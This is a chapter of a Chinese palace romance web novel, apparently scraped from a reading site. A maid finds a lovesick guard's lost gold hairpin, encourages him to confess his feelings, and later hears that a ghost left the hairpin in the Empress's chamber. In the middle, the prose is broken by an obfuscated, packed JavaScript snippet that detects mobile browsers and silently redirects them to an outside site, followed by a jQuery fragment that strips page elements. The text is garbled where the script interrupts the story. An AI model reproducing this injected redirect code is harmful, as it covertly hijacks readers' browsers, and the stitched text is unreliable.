眼见有位侍卫模样的年轻男子,正蹲在廊柱下的阴影里低着头,双手在地上摸索着什么,神情专注而焦急。
水叮铛忍不住停下脚步,试探询问:“这位……大人,您这般……可是丢了什么东西?”
那男子闻声先是一惊,猛地抬起头来,脸上随即闪过一丝的慌乱,迅速站起身来,手忙脚乱地拍打着膝上并不存在的灰尘。他面庞微红,带着几分被人撞见后的窘迫。这般的神态看在眼里,竟让水叮铛觉得有几分……可爱?
看年纪,年轻男子大约比她大上两三岁,眉目清朗气质温润,与其说是英武逼人,倒不如说是书卷气里添了几分戎装的挺拔。而他身上穿的那身挺拔军服,倒更是为他增色不少。
“无、无事,某只是在找寻一物。”男子赧然道,声音却清越悦耳。
“若是有何遗失之物被人寻到,或许会送到失物房统一保管,大人可曾去那里问过?”水叮铛好心提醒说。
“呃……这个……”男子当即面露难色眉头微蹙,更添了几分惹人怜惜的忧郁气质。
水叮铛见他这边为难模样顿时了然。要么是不知道失物房在何处,要么……便是丢了什么不便公开言明的东西。可见当是后者才对?
“大人若是不便,婢子倒也可以代您去失物房询问一声。不知大人遗失的是何物?”水叮铛主动提议多跑一趟腿,若能帮上忙倒也算积德。
那侍卫听完眼睛瞬间一亮,仿佛溺水之人抓住了浮木,那神情活像一只被雨淋湿、终于找到避处的小狗。
“是、是一支簪子!”男子急切地低声道,“金簪,上面錾刻了百合与蔷薇交错环绕的纹样,中间镶嵌了一颗……不大的桃花玉。”
“哦?”水叮铛好奇心起,“是……可是要送给心上人的信物么?”
此言一出,那侍卫的脸颊霎时红透,就连耳根都染上了绯色,当即手足无措地连连摆手:“不、不不……并非……那个……是、是在下……心仪之人。”他声音越说越低,最后几不可闻。
原来是单相思。水叮铛顿时恍然。
别人家的风月心事,她本不该多问。只是瞧他这般纯情模样,心下总忍不住想去逗弄一下。
只不过……掉簪子这中桥段,水叮铛不知为何听着有点耳熟?……唔,随后她恍然大悟,这定然是她的错觉,上次她信口胡诌来应付那位急性子小姐的,不就是类似借口么?当不得真,当不得真的。
“婢子去失物房帮您问问。只是,劳烦大人将此壶顺路带去厨房,请他们换一壶新煎的茶来。婢子大约两刻钟后回来,大人可否在此相候?”水叮铛迅速做出安排,将手中沉甸甸的茶壶塞到对方手中。
那侍卫先是愣了一下,随后连忙接过,点头算是应承了下来。
水叮铛则朝他微微颔首,便提起裙摆小跑着朝失物房的方向去了。
存放宫中遗失物品的库房并不算小,不过因规定保管期限为两年,且物品皆按拾获月份分柜存放,又大致按种类略作区分,像簪子这类小巧物件通常放在靠前的柜格。水叮铛仔细翻找了近几个月的登记册与对应的抽屉,依旧是一无所获。
直到此时水叮铛方才暗道糟糕,竟是忘了问他是何时丢失的。不过料想总不至于找了两年,她推测应就是这一两个月内的事才对。
于是水叮铛又将查找范围扩大到半年,甚至一年前的记录,却依旧不见那枚簪子的踪影。
如此……
或许,根本未曾有人拾获上交?
一想到那位侍卫可能露出的失望表情,水叮铛心中便也有些过意不去,但没有便是没有强求不得。
她叹了口气,直起身正准备离开,目光却被墙角一个掉落在地、毫不起眼的小小锦囊吸引。看那锦囊的式样,倒像是专门用来盛放首饰的。
水叮铛当即弯腰拾起锦囊,打开系绳往里一瞧,就见一支金簪正静静躺在柔软的丝绸内衬上。金簪上百合花与蔷薇花的纹章交错缠绕,中心嵌着一颗光泽温润、泛着淡淡粉晕的桃花玉。
竟是……找到了!找到了!水叮铛心中顿时一阵雀跃。
她连忙拿着锦囊去到库吏处准备填写认领单据,提笔正欲写领取人姓名时,才猛然想起自己竟是忘了问那位侍卫的尊姓大名!
这可如何是好?水叮铛略一思忖脑中灵光一闪,当即提笔在单据上写下了“萧子瑾”的名字。反正这位皇子殿下的名头她最近记得烂熟,正好拿来一用,想必库吏也不会细究。
办妥手续,水叮铛将锦囊小心收入袖中,这才匆匆赶回原地。而先前那位侍卫果然还在原地翘首以盼,神情焦灼。
水叮铛当即小跑过去,从袖中取出锦囊递给他。侍卫先是怔住,随即双手微颤地接过,并迫不及待地打开。当看清内中之物后,他眼圈竟瞬间红了,大颗的泪珠随即毫无预兆地滚落下来。
水叮铛顿时手足无措惊呆在了原地。
这、这……世人都说男儿有泪不轻弹,她可没想惹哭他啊!
正当水叮铛不知该如何是好之际,那侍卫却用力揉了揉眼睛,一边掉泪一边笑了起来,哽咽着连声道:“多谢!多谢姑娘!真的……太感谢了!”
“大人言重了,能物归原主婢子也是欢喜。”水叮铛连忙摆手,心中也为他感到高兴。
然而欢喜过后,那侍卫却又盯着掌心的簪子眉头微蹙,面上露出犹豫与烦恼之色。
“大人不打算将此物送给那位,心仪的淑女了么?”水叮铛好奇询问。
“啊,并非不想……只是,”男子叹了口气,声音低沉道:“她心中……似乎已有了认定的‘真爱’之人。我怕将此物送出,反倒会令她困扰。”
“真爱”二字入耳,水叮铛心中顿时警铃大作,对那位素未谋面的淑女评价瞬间跌至谷底。啧啧,能被“真爱”这种虚无缥缈的口号蛊惑的,眼光恐怕也不怎么样。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320887|199045||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“大人何不试试呢?”水叮铛又忍不住劝道,“困扰与否是该由对方来判断的。大人既有想要传达的心意,又有想要赠予的信物,若因畏惧而裹足不前,将来回想起来岂不遗憾?这簪子能失而复得,或许正是天意所向。抱着‘最坏不过被拒绝’的念头,去试一试又何妨?被拒绝了也好过将心意永远埋藏心底啊!去告诉她吧!”
她一时情急,语气不免带上了几分激昂,当即上前一步,言辞更是说得极为恳切。然话一出口,反倒是水叮铛自己先觉得有些羞赧。她般这模样,怎么倒像是经验丰富的情场老手似的?
水叮铛连忙暗暗摇头,她、她才、才不是有什么切身体会!她那时……咳,总之,这是常理,是旁观者清!
只因水叮铛深知,有些话若不说出口,那份后悔与不甘足以在心底盘桓许久,倒不如抱着玉碎的决心,求个痛快。
那侍卫被水叮铛一番义正言辞说得怔住,随即眼中的迷茫渐渐被坚定取代,他深吸一口气,用力点头:“姑娘所言极是!当抱着不行的心态……我、我当去告诉她我之心意!”
“嗯!这就对了,大人加油!”水叮铛也笑了起来,真心为他鼓劲。
真是怪可惜了。若他没有那位单恋对象,方才他那破涕为笑、又是认真又是坚定的模样,倒真有几分打动她。
想来若是能结为姐妹,定然不错。
“对了,还未好好酬谢姑娘。”侍卫忽然想起什么,连忙说道。
“区区小事,不足挂齿——”水叮铛本想客气一番,但转念一想又道,“不过,若大人执意要谢,不如……赐婢子一壶蒲桃
酒?”她记得上次冯立送来的蒲桃酒,滋味着实不错。
侍卫闻言,眼中笑意更深:“好!一定!多谢姑娘!”
他郑重地朝水叮铛行了一礼,随即握紧手中的锦囊转身大步离去,步伐轻快仿佛卸下了千斤重担。
水叮铛看着他离去的背影,这才想起自己似乎也未曾通报姓名。待回头想唤住他,长廊尽头却已不见人影。
这位侍卫大人,跑得倒是真快。
罢了,有缘自会再见。
水叮铛摇摇头转身赶往厨房,接过那壶早已重新煎好、滚烫得几乎握不住的茶。
铛龇牙咧嘴地用围裙垫着壶柄,水叮铛心中不免懊悔,早知如此之烫,方才就该当作谢礼,让他帮忙把这烫手山芋搬回去才是!
隔着厚厚的棉布围裙,那热度依旧灼人得狠。
这次,真是失策!
是夜,皇后娘娘所居的立政殿方向,隐约传来一阵骚动与女子的惊呼声。翌日,宫中便流传开一则奇闻:皇后娘娘寝殿内惊现鬼魂!据说那鬼魂非但并未索命,反而留下了一枚镶嵌着桃花玉的金簪,旋即消失得无影无踪。
水叮铛初听闻尚且不以为然地撇嘴,什么鬼魂神怪的,多半是皇后娘娘睡迷糊了,把哪个偷偷摸进去的面首看花了眼吧?